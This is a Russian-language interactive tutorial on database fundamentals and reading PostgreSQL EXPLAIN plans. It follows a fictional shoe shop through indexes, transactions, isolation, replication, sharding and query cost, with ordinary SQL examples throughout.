Аналитик не пишет алгоритмы. Но именно он знает то, без чего сложность бесполезна: сколько будет данных и как быстро их станет больше. Разработчик знает форму роста, аналитик — n. Вместе они получают прогноз.
Шаг 1. Оцените объём на горизонте
Олег прикидывает, сколько заказов накопится в «Ботинке». Подвигайте ползунки — калькулятор посчитает n и покажет, как на таком объёме поведут себя разные классы операций.
Шаг 2. Задайте разработчикам правильные вопросы
Не «а оно будет быстро работать?», а вопросы, в которых есть n. Нажмите на вопрос — появится, что стоит услышать в ответ.
Шаг 3. Пишите НФТ с объёмом данных
| ❌ Так не надо | ✅ Так проверяемо |
|---|---|
| «Поиск заказов должен работать быстро» | «Поиск заказа по номеру — не дольше 100 мс для 95 % запросов (p95) при объёме таблицы заказов до 50 млн строк» |
| «Система должна выдерживать рост» | «Характеристики из п. 4.2 сохраняются при росте числа заказов до 30 млн в год в течение 3 лет (итого ~70 млн строк)» |
| «Список заказов с постраничным выводом» | «Список заказов покупателя — по 20 на страницу, переход к следующей странице — не дольше 200 мс (p95) независимо от номера страницы» |
| «Отчёт по продажам» | «Отчёт за произвольный период до 1 года строится не дольше 10 с при 20 млн заказов за период; отчёт за всё время — фоновой задачей с уведомлением» |
| «Нагрузочное тестирование провести» | «Нагрузочный тест проводится на базе с объёмом данных, соответствующим прогнозу на 3 года (не меньше 70 млн заказов, 5 млн покупателей)» |
Шаг 4. Узнавайте ловушки в формулировках
Эти фразы звучат невинно, но за каждой стоит перебор, квадрат или экспонента.
«Поиск по любой части названия»
LIKE '%…%' — O(n) на каждый запрос. Нужен особый индекс или поисковая база.
«Показать общее число страниц»
COUNT(*) по большой таблице — O(n) на каждую страницу. Часто достаточно «больше 1 000» или «следующая есть».
«Фильтр и сортировка по любому столбцу»
Под каждое сочетание нужен свой индекс, иначе перебор и сортировка O(n log n). Уточните, по каким столбцам реально фильтруют.
«Перейти на любую страницу»
OFFSET: чем дальше, тем дольше — O(offset). Нужно ли прыгать на 5 000-ю страницу?
«Подобрать оптимальную комбинацию»
Возможен перебор 2ⁿ или n!. Устроит ли «хороший» ответ вместо «лучшего»?
«Сравнить с каждым» / «найти похожие»
Попарное сравнение — O(n²). На 1 млн товаров это полтриллиона пар.
«Выгрузить всё в Excel»
O(n) и память O(n), если собирать файл целиком. Нужна фоновая задача и потоковая запись.
«Отчёт за всё время»
Время растёт с каждым днём работы магазина. Предложите готовые итоги по периодам.
«Показать всю историю изменений»
Без ограничения — O(n) растущей истории на каждый показ. Нужны пагинация и срок хранения.
глава 14 · проверьте себя двенадцать задач из жизни
Если ответ не очевиден, вернитесь к главе в скобках в пояснении. Решено 0 из 0.
База данных — самое дорогое решение в системе и самое трудное к отмене. Сервис можно переписать за месяц. Язык можно поменять. А базу, в которой лежат два терабайта живых данных и на которую смотрят сорок запросов, меняют годами — и обычно не меняют вовсе. Поэтому про неё стоит понимать чуть больше, чем «туда сохраняются данные».
карта раздела одна история в одиннадцати главах
Этот раздел — не справочник, а рассказ. Мы начнём с простого вопроса «что такое база», потом проследим одну покупку от кнопки до диска, а дальше будем разбирать каждый механизм, который встретился по дороге. Главы идут по порядку: каждая опирается на предыдущую. Нажмите на главу, чтобы перейти к ней.
глава 1 · что это что такое база данных, если по-простому
Что база обещает — четыре обещания
💾 Не потерять
Сказала «сохранено» — значит, данные переживут даже выдернутый шнур питания.
🔎 Найти быстро
Одну строку среди десяти миллионов — за доли миллисекунды.
🛡 Не дать испортить
Правила вроде «остаток не меньше нуля» база соблюдает сама, даже если код написан криво.
👥 Пускать многих сразу
Сотни людей меняют данные одновременно — и никто не затирает чужую работу.
Каждое обещание держится на своём механизме. У механизмов есть имена, и дальше они будут встречаться постоянно. Вот словарик на пальцах — нажимайте на слова.
глава 1 · зачем зачем архитектору разбираться в базах
глава 1 · почему почему архитектору мало знать SQL
Можно двадцать лет писать SELECT и ни разу не задуматься, что происходит внутри. Пока система маленькая, это и не нужно. Проблемы появляются на масштабе — и все они выглядят одинаково: «вчера работало, сегодня тормозит, а мы ничего не меняли».
Причина 1. База — общее узкое место
Сервисов можно поднять двадцать копий за минуту. База одна, и она упирается в диск, память и блокировки. Почти любая деградация системы в итоге упирается в базу.
Причина 2. Решения необратимы
Выбранный тип базы, схема таблиц, ключ шардирования — всё это меняется переездом данных, а не правкой кода. Ошибка здесь стоит не спринта, а квартала.
Причина 3. Странные баги живут здесь
«Один раз из тысячи списалось дважды», «в отчёте цифра не сходится», «на тесте не повторяется». Почти всегда это база: изоляция, отставание реплики или гонка двух транзакций.
глава 2 · сквозной пример одна покупка от кнопки до диска
Теперь посмотрим на всё сразу, на живом примере. Магазин обуви «Ботинок». На складе осталась последняя пара ботинок 42 размера. Анна нажимает «Оформить заказ». Через пять миллисекунд то же самое делает Борис. А менеджер Олег в это время строит отчёт о продажах за день.
Жмите «Дальше». На схеме подсвечивается, где сейчас происходит работа. Ниже — что лежит в базе на этом шаге: у главного узла (мастера) и у его копии (реплики). Новые слова объясняются прямо по ходу.
👑 Мастер — что в базе сейчас
📑 Реплика — что видит копия
глава 3 · виды баз какие бывают базы и зачем их столько
В нашей истории база была реляционной — с таблицами. Но баз много видов. Все они хранят данные. Отличаются они тем, какой вопрос умеют задавать дёшево. Выбирать базу — значит выбирать, какие вопросы будут быстрыми.
Шпаргалка: семь видов в одной таблице
Нажмите на строку — появится пояснение, когда эту базу брать, а когда нет.
Каждый вид поближе
Выберите вид — увидите, как он хранит данные, в чём силён и где пригодится в «Ботинке».
Потренируйтесь: какую базу взять?
Решено 0 из 0.
глава 4 · индекс как база находит строку среди десяти миллионов
Во второй главе база нашла остаток ботинок почти мгновенно. Как? Самый частый ответ на вопрос «почему тормозит» — «нет индекса». Разберём, что это такое, без магии.
Покрутите размер таблицы
Без индекса база читает таблицу целиком. С индексом она спускается по дереву, и на каждом шаге отбрасывает половину оставшегося — как вы ищете слово в бумажном словаре.
Четыре сценария
Нажмите на сценарий и посмотрите, что делает база.
глава 5 · транзакция «всё или ничего»: что такое транзакция
Когда Анна покупала ботинки, база сделала два дела: уменьшила остаток и создала заказ. А если между ними сервер упадёт? Остаток уменьшен, заказа нет — пара пропала со склада «в никуда». Чтобы так не было, придуманы транзакции.
BEGIN, заканчивается COMMIT (подтвердить) или ROLLBACK (отменить всё).ACID вживую: один перевод — четыре обещания
ACID — это первые буквы четырёх английских слов. Каждая буква — отдельное обещание, которое база даёт про транзакцию: Atomicity — атомарность, Consistency — согласованность, Isolation — изоляция, Durability — долговечность. Звучит сухо, поэтому посмотрим на все четыре на одном переводе.
Сценарий: Анна переводит Борису 300 ₽. На счетах: у Анны 1 000 ₽, у Бориса 500 ₽. Главное правило банка: всего денег всегда 1 500 ₽ — перевод их только перекладывает. Внутри базы видны четыре места: таблица счетов (то, что видят все), черновик транзакции (изменения, которые видит только она сама), журнал WAL (куда база сначала записывает каждое действие) и диск.
Сводка: четыре буквы на одной странице
| Буква | Что обещает | Что будет без неё — на примере Анны | Чем обеспечивается |
|---|---|---|---|
| A — атомарность | Все действия транзакции проходят вместе или не проходит ни одно | Сервер упал после списания у Анны — 300 ₽ исчезли, Борис их не получил | Журнал WAL и откат: незавершённая транзакция стирается при сбое или по ROLLBACK |
| C — согласованность | После транзакции все правила схемы соблюдены | У Анны −200 ₽ или перевод на несуществующий счёт | Ограничения в схеме: CHECK, UNIQUE, внешние ключи — плюс A, которая откатывает всё целиком. Бизнес-правила вроде лимита проверяет приложение |
| I — изоляция | Параллельные транзакции не видят недоделанного и не затирают друг друга | Вера видит в банке 1 200 ₽ вместо 1 500; два платежа по 800 ₽ списались как один | Снимки данных (MVCC — каждая транзакция читает свою версию строк), блокировки строк, уровни изоляции |
| D — долговечность | После «OK» данные переживут отключение питания | Анне сказали «переведено», свет мигнул — перевода нет | Запись в журнал на диск (fsync) до ответа «OK» и восстановление по журналу при запуске |
Мини-тест: какая буква нарушена?
Решено 0 из 0.
Коротко ещё раз: выключите свет посреди перевода
Та же буква A в самом простом виде. Анна переводит Борису 100 ₽. Выберите режим, решите, гаснет ли свет, и нажмите «Перевести». Следите за строкой «всего денег»: она должна всегда быть 600.
Каждая буква в SQL
Шпаргалка к интерактиву выше: как каждая буква выглядит в коде и что ломается без неё.
глава 6 · когда все сразу гонка за последней парой
Вернёмся к Анне и Борису. Они нажали «Оформить» почти одновременно. База обслуживает их параллельно — в двух транзакциях сразу. Если ничего не предпринять, обе транзакции увидят «осталась 1 пара», и магазин продаст две пары там, где была одна. Такая ситуация называется гонкой: результат зависит от того, кто на миллисекунду успел раньше.
Выберите, как защищён код, и запустите двух покупателей.
глава 6 · изоляция одна и та же программа даёт разный ответ
Гонка — только один из видов проблем. Их общее имя — аномалии изоляции.
Буква I в ACID — единственная, которую можно ослабить настройкой. И почти везде она ослаблена по умолчанию, просто об этом не знают.
Выберите аномалию — она проиграется по шагам на двух транзакциях.
Сводная таблица: что на каком уровне возможно
| Уровень | Грязное чтение | Неповторяемое чтение | Фантом | Потерянное обновление | Перекос записи |
|---|---|---|---|---|---|
| Read Uncommitted почти не используется |
возможно | возможно | возможно | возможно | возможно |
| Read Committed по умолчанию в PostgreSQL |
нет | возможно | возможно | возможно | возможно |
| Repeatable Read по умолчанию в MySQL InnoDB |
нет | нет | нет* | нет* | возможно |
| Serializable как будто вы один |
нет | нет | нет | нет | нет |
could not serialize access. Это не поломка, а штатное поведение: приложение обязано поймать эту ошибку и повторить транзакцию целиком. Код, который этого не умеет, будет падать в бою и прекрасно работать на тесте, где параллельных транзакций нет.SELECT … FOR UPDATE) или ограничение в самой базе (UNIQUE, CHECK). Третий вариант самый надёжный: база не умеет забыть про ограничение.глава 6 · дедлок когда двое ждут друг друга вечно
Блокировки спасли Анну и Бориса. Но у них есть обратная сторона.
глава 7 · пул соединений почему база держит не десять тысяч клиентов, а сто
В самом начале истории сервис заказов не подключался к базе заново, а взял готовое соединение из пула. Зачем такие сложности?
Кажется, что база — это сервис, к которому можно подключиться сколько угодно раз. Это не так, и об этот факт разбивается много систем.
Покрутите — посмотрите, что происходит.
глава 8 · реплики мастер и копии: как база переживает много чтения
В истории Олег строил отчёт не на главной базе, а на её копии. Это самая распространённая схема в мире.
Сначала — схема целиком
Прожмите: куда идёт запись, куда чтение, что даёт каждая реплика и чем за это платят.
Отставание своими руками
Анна поменяла адрес доставки и сразу открыла профиль. Что она увидит? Покрутите отставание реплики и паузу Анны, включите и выключите правило «читай своё».
Шесть сценариев по шагам
Выберите, что происходит, и пройдите по шагам.
глава 9 · когда одной базы мало откуда берутся шарды, кворум и 2PC
«Ботинок» растёт. Реплики помогли с чтением, но однажды перестанет хватать и записи, и места на одном сервере. Дальше появляются слова, которые выглядят как отдельные темы. На самом деле это одна цепочка: каждое следующее решение появилось как ответ на беду, созданную предыдущим. Пройдите её — и всё встанет на места.
глава 9 · шардирование разрезать базу на куски: главное — чем резать
Выберите ключ и посмотрите, как распределится запись за сегодняшний день и сколько шардов придётся обойти на типичные вопросы.
глава 9 · кворум как договориться без начальника
Есть базы вообще без мастера — Cassandra, DynamoDB, Riak. Там никто не главный, и вопрос «какое значение правильное» решается голосованием.
N — сколько всего копий данных
W — скольких копий дождаться при ЗАПИСИ
R — скольких копий спросить при ЧТЕНИИ
если W + R > N → читающий ГАРАНТИРОВАННО
зацепит хотя бы одну свежую копию
Покрутите ручки и посмотрите, что получается.
глава 9 · 2PC транзакция на две базы и почему её почти не применяют
Когда данные разъехались по разным базам, транзакция из пятой главы перестаёт работать: она живёт внутри одной базы. Кто-то должен её изобразить.
глава 10 · база в бою как менять схему таблицы, когда останавливать систему нельзя
«Ботинок» работает круглосуточно. А разработчикам надо переименовать колонку. Переименование — операция на секунду. Но пока она идёт, старый код уже не работает, а новый ещё не выкачен.
глава 10 · аварии семь способов уронить базу, которые встречаются чаще всего
Всё, что мы разобрали, в бою ломается предсказуемо. Вот семь самых частых поломок — почти каждая связана с одной из глав выше. Нажмите на строку — разбор: как выглядит, отчего происходит, чем лечится.
глава 11 · проверьте себя базы данных
Все задачи — из жизни. Если ответ не очевиден, вернитесь к главе с подсказкой в скобках: реплики (8), изоляция (6), пул (7), миграции (10).
Решено 0 из 0.
EXPLAIN — это рентген запроса. Он показывает, как база собирается достать данные и — с ANALYZE — сколько это стоило на самом деле: какие таблицы она прочитает целиком, где спустится по индексу, как соединит таблицы, где будет сортировать и где упрётся в память. Весь раздел — одна история. У магазина «Ботинок» тормозит страница «Мои заказы» у Анны и отчёт Олега, а разработчик Борис учится читать планы и по шагам лечит обе беды. Основной пример — PostgreSQL 18; где MySQL, MS SQL и Oracle устроены иначе, будут врезки.
зачем это зачем аналитику и архитектору читать планы запросов
карта раздела одна история, шестнадцать глав
Читайте по порядку: каждая глава опирается на предыдущую. Если вы уже знаете основы, прыгайте сразу в пятую главу — там «живой план», в котором можно всё крутить руками.
глава 1 · завязка понедельник, 10:00: «Мои заказы» открываются шесть секунд
Понедельник, десять утра. В поддержку «Ботинка» пишет Анна: «Открываю "Мои заказы" — крутится кружок секунд пять-шесть. Раньше такого не было». Через десять минут приходит второе письмо, от аналитика Олега: «Отчёт "Покупатели из Казани за сентябрь" на прошлой неделе строился мгновенно. Сегодня — почти три секунды на каждый запуск. Вчера, кстати, залили базу покупателей нашего нового партнёра из Казани».
Разработчик Борис открывает мониторинг. Процессор сервера базы данных загружен на 90 %, диск читает по 400 МБ в секунду. Код никто не менял уже неделю. Что происходит?
У Бориса одно правило: не чинить, пока не увидел. Можно, конечно, «на всякий случай» добавить пару индексов или попросить сервер помощнее. Но база умеет сама рассказать, как она выполняет каждый запрос. Надо только спросить.
Что увидел Борис
Борис взял запрос страницы «Мои заказы» и выполнил его с EXPLAIN ANALYZE. Пока не пытайтесь понять каждое слово — в четвёртой главе разберём всё по буквам. Посмотрите на выделенное.
EXPLAIN ANALYZE
SELECT id, created_at, status, total FROM orders
WHERE customer_id = 42
AND created_at >= '2026-09-01' AND created_at < '2026-10-01'
ORDER BY created_at DESC;
Gather Merge (cost=99958.43..99959.60 rows=12 width=30) (actual time=402.118..405.702 rows=12.00 loops=1)
Workers Planned: 2
...
-> Parallel Seq Scan on orders (cost=0.00..98958.33 rows=5 width=30) (actual time=61.340..398.497 rows=4.00 loops=3)
Filter: ((customer_id = 42) AND (created_at >= ...) AND (created_at < ...))
Rows Removed by Filter: 1666663
Buffers: shared hit=2781 read=59719
Execution Time: 405.771 ms
В переводе на человеческий: чтобы найти 12 заказов Анны за сентябрь, база прочитала все пять миллионов заказов — 62 500 страниц, почти полгигабайта — и выбросила 4 999 988 неподходящих строк. На одну страницу у одного человека — 0,4 секунды работы трёх процессов базы. А таких страниц в минуту открывают сотни. Вот и 90 % процессора, и очередь, и шесть секунд у Анны.
С отчётом Олега другая беда, и её видно по другой строке:
Nested Loop (cost=0.43..34207.20 rows=1007 width=40) (actual time=0.061..2874.301 rows=641.00 loops=1) -> Seq Scan on customers c (cost=0.00..20000.00 rows=3360 width=18) (actual time=0.015..96.772 rows=302093.00 loops=1) -> Index Scan using orders_customer_id_idx on orders o (...) (actual time=0.009..0.009 rows=0.00 loops=302093)
База ожидала найти 3 360 покупателей из Казани, а нашла 302 093 — в 90 раз больше. Для трёх тысяч «сходить в индекс заказов за каждым» — отличный план. Для трёхсот тысяч — катастрофа: 302 093 спуска по индексу. План выбран по устаревшей «карте пробок»: вчерашняя загрузка партнёра ещё не попала в статистику.
Мир примеров этого раздела
Все планы в разделе — для одной базы «Ботинка». Запомните несколько чисел: они будут встречаться постоянно.
глава 2 · путь запроса что происходит между «отправили SQL» и «получили строки»
Прежде чем читать план, полезно понять, откуда он берётся. Запрос внутри PostgreSQL проходит четыре станции. Пройдите их по шагам.
📝 Разбор (parser и analyzer)
Проверяет грамматику SQL и превращает текст в дерево. Затем сверяется со справочником базы: есть ли таблица orders, есть ли в ней колонка customer_id, какого она типа. Опечатка в имени колонки ловится здесь.
🔁 Переписывание (rewriter)
Раскрывает представления (view): если вы обратились к v_active_orders, сюда подставится его определение. После этой станции база видит запрос только к настоящим таблицам.
🧭 Планировщик (planner, optimizer)
Самая умная станция. Перебирает варианты: чем читать каждую таблицу, в каком порядке и каким способом соединять. Каждому варианту считает стоимость по статистике и выбирает самый дешёвый. Результат — дерево узлов, тот самый план.
⚙️ Исполнитель (executor)
Выполняет дерево. Каждый узел — маленький механизм: «прочитать таблицу», «отсортировать», «соединить». Строки текут снизу вверх: листья читают таблицы, верхние узлы обрабатывают то, что им отдали снизу.
Какие варианты перебирал планировщик для запроса Анны
Для одного простого запроса вариантов немного. Нажмите на строку, чтобы увидеть, почему у варианта такая стоимость. Стоимость — в условных единицах (о них — в главе 7).
join_collapse_limit = 8), а начиная с 12 таблиц в FROM (geqo_threshold = 12) включает генетический алгоритм GEQO — ищет «достаточно хороший» план, а не лучший. Запрос на 15 соединений почти всегда стоит переписать или разбить.Строки текут снизу вверх: как узлы просят данные друг у друга
Исполнитель работает по принципу «дай следующую строку». Верхний узел просит строку у нижнего, тот — у своего нижнего, и так до таблицы. Строка поднимается наверх и уходит клиенту, потом всё повторяется. Так работает почти каждая СУБД. Посмотрите на запрос «три самых дорогих заказа»: SELECT * FROM orders ORDER BY total DESC LIMIT 3.
cost=0.43..8.45. Первое — сколько работы нужно, чтобы узел отдал первую строку. Второе — чтобы отдал все. У Seq Scan первое число 0: первая строка готова сразу. У Sort первое почти равно второму: сортировка не отдаст ни одной строки, пока не увидит все.Подготовленные запросы: план один на всех
Приложения обычно шлют запросы с параметрами: WHERE customer_id = $1. Такой запрос можно подготовить один раз (PREPARE, или это делает драйвер базы сам) и выполнять много раз. Первые пять выполнений PostgreSQL строит индивидуальный план (custom plan) под конкретное значение. Потом он может перейти на общий план (generic plan) — один на все значения, если тот в среднем не дороже. Экономится время планирования.
EXPLAIN (GENERIC_PLAN) SELECT … WHERE customer_id = $1 (с PostgreSQL 16) покажет общий план. Лечение для таких запросов — plan_cache_mode = force_custom_plan на уровне сессии или роли.глава 3 · режимы EXPLAIN, EXPLAIN ANALYZE и десяток опций
Команда одна, режимов много. Главное различие — выполняется запрос или нет.
🗺 EXPLAIN — только план
Запрос не выполняется. Мгновенно и безопасно даже для DELETE. Показывает только оценки: стоимость и ожидаемое число строк. Годится, чтобы проверить «возьмёт ли база мой индекс» и чтобы смотреть планы запросов, которые выполняются минутами.
⏱ EXPLAIN ANALYZE — план и факт
Запрос выполняется по-настоящему, результат выбрасывается. Рядом с оценками — фактические строки, время каждого узла, число проходов и (с 18-й версии автоматически) прочитанные страницы. Единственный способ увидеть, где база ошиблась.
EXPLAIN ANALYZE DELETE FROM orders WHERE … удалит строки. Для INSERT, UPDATE, DELETE, MERGE оборачивайте в транзакцию и откатывайте:
BEGIN;
EXPLAIN (ANALYZE) UPDATE orders SET status = 'paid' WHERE id = 4815162;
ROLLBACK; -- изменения отменены, план остался на экране
Помните: даже откаченный UPDATE успел взять блокировки строк на время транзакции, а тяжёлый SELECT успел нагрузить базу. На боевой базе ставьте SET statement_timeout = '30s' и лучше запускайте на реплике.Опции: что добавляет каждая
Опции пишутся в скобках через запятую: EXPLAIN (ANALYZE, BUFFERS, VERBOSE) SELECT …. Нажмите на строку таблицы — появится пояснение.
BUFFERS теперь включается сам вместе с ANALYZE. В 16–17 его нужно писать явно: EXPLAIN (ANALYZE, BUFFERS) — пишите всегда, это самая полезная опция. 2. Фактическое число строк показывается с двумя знаками: rows=0.31 вместо округлённого rows=0 — это среднее на один проход узла. 3. У индексных узлов появилась строка Index Searches — сколько раз база спускалась по индексу.Конструктор: включайте опции и смотрите, что меняется
Запрос — «Мои заказы» Анны, когда составной индекс уже есть. Или UPDATE, чтобы увидеть опцию WAL. Переключайте опции: вывод меняется так, как его покажет PostgreSQL 18.
Тот же рентген в других базах
Идея везде одна: оценочный план и фактический. Отличаются команда, формат и названия узлов.
🐬 MySQL 8.x
Классический EXPLAIN — таблица: по строке на каждую таблицу запроса. Смотрят на колонки type (от лучшего к худшему: const, eq_ref, ref, range, index, ALL — полное чтение), key (какой индекс взят), rows (оценка) и Extra (Using index — покрывающий индекс, Using filesort — сортировка, Using temporary — временная таблица). Дерево, как в PostgreSQL, даёт EXPLAIN FORMAT=TREE (с 8.0.16), а фактическое время — EXPLAIN ANALYZE (с 8.0.18; в 8.4 — только в формате TREE).
🪟 Microsoft SQL Server
В SQL Server Management Studio — «предполагаемый план» и «фактический план» (Include Actual Execution Plan) в виде графической схемы; текстом — SET SHOWPLAN_XML ON. Счётчики страниц и времени — SET STATISTICS IO, TIME ON (logical reads — аналог Buffers). Узлы: Table Scan, Clustered Index Scan, Index Seek, Key Lookup (поход за строкой), Nested Loops, Hash Match, Merge Join, Sort. Историю планов хранит Query Store — в SQL Server 2022 он включён по умолчанию для новых баз.
🏛 Oracle
Оценочный план: EXPLAIN PLAN FOR SELECT …; затем SELECT * FROM TABLE(DBMS_XPLAN.DISPLAY);. Фактический: выполнить запрос с подсказкой /*+ GATHER_PLAN_STATISTICS */ и вызвать DBMS_XPLAN.DISPLAY_CURSOR(NULL, NULL, 'ALLSTATS LAST') — там рядом колонки E-Rows (оценка) и A-Rows (факт), Starts (аналог loops). Узлы: TABLE ACCESS FULL, INDEX RANGE SCAN, TABLE ACCESS BY INDEX ROWID, HASH JOIN, NESTED LOOPS.
-- MySQL 8.4: тот же запрос Анны, индекс только по customer_id
EXPLAIN ANALYZE SELECT id, created_at, status, total FROM orders
WHERE customer_id = 42 AND created_at >= '2026-09-01' ORDER BY created_at DESC\G
-> Sort: orders.created_at DESC (actual time=2.31..2.32 rows=12 loops=1)
-> Filter: (orders.created_at >= TIMESTAMP'2026-09-01 00:00:00') (cost=141 rows=127) (actual time=0.61..2.29 rows=12 loops=1)
-> Index lookup on orders using idx_customer (customer_id=42) (cost=141 rows=380) (actual time=0.058..2.21 rows=380 loops=1)
Шпаргалка: одно и то же действие в четырёх базах. Нажмите на строку — пояснение.
глава 4 · чтение как читать план построчно
Вот полный план отчёта Олега — ещё до загрузки партнёра, когда отчёт работал за 60 мс. В нём есть почти всё, что встречается в планах. Нажимайте на подчёркнутые кусочки — справа или ниже появится объяснение. Объясните себе все, прежде чем идти дальше.
Как устроено дерево
(cost=…). Строки с отступом под ней, начинающиеся с ->, — её дети: они поставляют ей строки. Строки без стрелки (Filter:, Buffers:) — подробности самого узла.Девять правил, которые отличают человека, «видевшего EXPLAIN», от человека, который его понимает. Нажмите на правило, чтобы раскрыть.
Потренируйтесь считать
Решено 0 из 0.
глава 5 · живой план лаборатория: выберите запрос, покрутите индексы — и смотрите, как меняется план
Это главная игрушка раздела. Выберите один из пяти запросов «Ботинка» и включайте переключатели. Слева — текст плана, каким его покажет PostgreSQL 18. Справа — то же дерево картинкой: полоска показывает, какую долю времени съел узел. Нажмите ▶ Выполнить — внизу исполнитель начнёт читать страницы индекса и таблицы: подряд или вразброс, и побегут счётчики. Нажимайте на любую строку плана — получите объяснение каждого поля.
SET max_parallel_workers_per_gather = 0), чтобы дерево было короче. Переключатель «статистика устарела» означает: вчера залили много данных, а ANALYZE и VACUUM по этим таблицам ещё не прошли.глава 6 · доступ к таблице шесть способов прочитать таблицу — и когда какой быстрее
В лаборатории вы видели, что одна и та же таблица читается очень по-разному. Способ чтения одной таблицы называется метод доступа (access method) или просто «скан». Это листья дерева плана — с них всё начинается. Разберём каждый: что делает по шагам, на что похож, как выглядит в плане и когда планировщик его выбирает.
1. Seq Scan — последовательное чтение
Filter; подходящие отдаются наверх, остальные выбрасываются и попадают в счётчик Rows Removed by Filter.Seq Scan on orders (cost=0.00..125000.00 rows=150210 width=30) Filter: (created_at >= '2026-09-01 00:00:00+03'::timestamp with time zone)
Когда выбирается
Таблица маленькая (сотни страниц). Нужна большая доля строк. Нет подходящего индекса. Условие нельзя проверить по индексу (функция над колонкой, LIKE '%x').
Скорость
Растёт линейно с размером таблицы — O(n). Зато каждая страница читается подряд — самое дешёвое чтение: диск и операционная система заранее подтягивают следующие страницы, а в PostgreSQL 18 ещё и работает асинхронный ввод-вывод. Ориентир: 488 МБ из памяти — сотни миллисекунд, с диска — секунды.
2. Index Scan — по индексу и за каждой строкой в таблицу
По шагам, как это делает PostgreSQL:
(48213,7).Filter по колонкам не из индекса — проверяем и его.Index Scan using orders_customer_id_idx on orders (cost=0.43..56.72 rows=1 width=30) Index Cond: (customer_id = 42) <- по этому условию спускались в индекс Filter: (created_at >= '2026-09-01 …') <- а это проверили уже в строке таблицы
Когда выбирается
Нужно немного строк: одна, десятки, сотни. Нужен порядок индекса — тогда Index Scan заменяет сортировку (ORDER BY) и отлично работает с LIMIT: прочитал 20 записей — остановился. Index Scan Backward — то же самое, но по индексу с конца.
Скорость
Поиск — O(log n), плюс одно случайное чтение на каждую строку. Если строк сотни тысяч — это сотни тысяч прыжков. Исключение — когда таблица физически лежит в порядке индекса (заказы дописываются по времени, индекс по created_at): тогда прыжки идут почти подряд. Эту «упорядоченность» статистика хранит в поле correlation.
3. Index Only Scan — ответ целиком в индексе
Есть тонкость. Индекс не знает, видна ли строка вашей транзакции: эта информация хранится в самой таблице. Поэтому PostgreSQL заглядывает в карту видимости.
Heap Fetches. Биты проставляет VACUUM, а любое изменение строки на странице их сбрасывает.Index Only Scan Backward using orders_cust_created_cov_idx on orders
Index Cond: ((customer_id = 42) AND (created_at >= …) AND (created_at < …))
Heap Fetches: 0 <- в таблицу не ходили ни разу — идеально
VACUUM orders или более частый автовакуум для этой таблицы.4. Bitmap Index Scan + Bitmap Heap Scan — сначала список, потом обход
Bitmap Heap Scan on customers (cost=48.39..231.66 rows=50 width=45)
Recheck Cond: (email ~~ '%anna%'::text)
Heap Blocks: exact=1297 <- прочитано 1297 страниц таблицы, каждая один раз
-> Bitmap Index Scan on customers_email_trgm_idx (cost=0.00..48.38 rows=50 width=0)
Index Cond: (email ~~ '%anna%'::text)
Recheck Cond
Условие, которое перепроверяется на строках таблицы. Нужно, если карта стала «грубой» (см. справа) или индекс сам по себе приблизительный (как триграммный GIN). Сколько строк отсеяно перепроверкой — Rows Removed by Index Recheck.
lossy — «грубая» карта
Карта живёт в памяти размером work_mem. Не помещается — PostgreSQL перестаёт помнить конкретные строки и помнит только страницы. Тогда на каждой такой странице перепроверяются все строки. В плане: Heap Blocks: exact=1203 lossy=48211.
BitmapAnd / BitmapOr
Две карты от двух разных индексов можно пересечь или объединить: WHERE status = 'new' AND city_id = 7 при отдельных индексах на каждую колонку. Это главный способ, которым PostgreSQL использует два индекса сразу.
5. Parallel Seq Scan — читаем втроём
Gather (cost=1000.00..9859.17 rows=50 width=45) (actual time=0.874..96.402 rows=1382.00 loops=1) Workers Planned: 2 <- планировщик хотел 2 рабочих Workers Launched: 2 <- получил 2 (свободных могло и не быть) -> Parallel Seq Scan on customers (…) (actual time=1.214..91.806 rows=460.67 loops=3)
rows=460.67 — среднее на один процесс; всего строк 460,67 × 3 = 1 382. Параллельность включается для таблиц больше min_parallel_table_scan_size (8 МБ), по умолчанию до двух рабочих на узел (max_parallel_workers_per_gather = 2). Она ускоряет в 1,5–2,5 раза, но не меняет сути O(n) и забирает ядра у других запросов. Бывают и Parallel Index Scan, и Parallel Bitmap Heap Scan.6. TID Scan — по прямому адресу
WHERE ctid = '(48213,7)'. С PostgreSQL 14 есть и Tid Range Scan для диапазона адресов.В прикладном коде почти не встречается: адрес ctid меняется при каждом UPDATE и при переупаковке таблицы, хранить его нельзя. Живёт в служебных скриптах — например, при удалении дубликатов.
Все четыре главных способа наперегонки
Маленькая таблица orders на 24 страницы (по 4 строки). Запрос: SELECT id, total FROM orders WHERE total BETWEEN 4000 AND 4500. Индекс — по total (для Index Only Scan — с INCLUDE (id)). Значения total никак не связаны с тем, на какой странице лежит строка. Точкой в углу отмечены страницы, где есть подходящие строки. Стоимость считается в «страницах»: подряд — 1, вразброс — 4 (так же считает и PostgreSQL, об этом — в следующей главе).
Когда какая скорость: ориентиры на таблице orders
Порядок величин для типичного сервера 2026 года (данные в памяти или на SSD). Ваши цифры будут другими — смотрите свой EXPLAIN ANALYZE. Нажмите на строку, чтобы увидеть пример.
глава 7 · стоимость селективность: почему для 30 % строк индекс хуже полного чтения
Самый частый вопрос новичка: «индекс же есть, почему база читает всю таблицу?». Ответ — в арифметике. Планировщик не любит и не боится индексов. Он просто считает.
id = 4815162 — одна строка из пяти миллионов, 0,00002 %: условие очень селективное. status = 'delivered' — 80 % строк: условие почти не селективное.| Параметр | По умолчанию | Что означает |
|---|---|---|
seq_page_cost | 1.0 | прочитать страницу подряд — эталон |
random_page_cost | 4.0 | прочитать страницу вразброс (прыжком). Для SSD часто ставят 1.1–2 |
cpu_tuple_cost | 0.01 | обработать одну строку таблицы |
cpu_index_tuple_cost | 0.005 | обработать одну запись индекса |
cpu_operator_cost | 0.0025 | выполнить один оператор или функцию (например, сравнение в WHERE) |
effective_cache_size | 4GB | сколько памяти (своей и ОС) база может считать кешем — влияет на оценку повторных чтений в индексных планах |
Проверим на Seq Scan по orders с одним условием: 62 500 страниц × 1 + 5 000 000 строк × 0,01 + 5 000 000 сравнений × 0,0025 = 62 500 + 50 000 + 12 500 = 125 000. Это ровно то число, что вы видели в плане: Seq Scan on orders (cost=0.00..125000.00 …). Из документации PostgreSQL тот же расчёт для учебной таблицы tenk1: 345 страниц × 1 + 10 000 строк × 0,01 = 445.
Калькулятор селективности
Таблица orders: 5 000 000 строк. Двигайте долю подходящих строк и смотрите, сколько «стоит» каждый способ. Формулы упрощены, но устроены как в самом PostgreSQL: Index Scan платит random_page_cost за каждую новую страницу таблицы, Bitmap читает страницы по порядку и платит за каждую от 4 до 1 в зависимости от того, какую долю таблицы он обходит.
глава 8 · соединения Nested Loop, Hash Join, Merge Join: три способа склеить таблицы
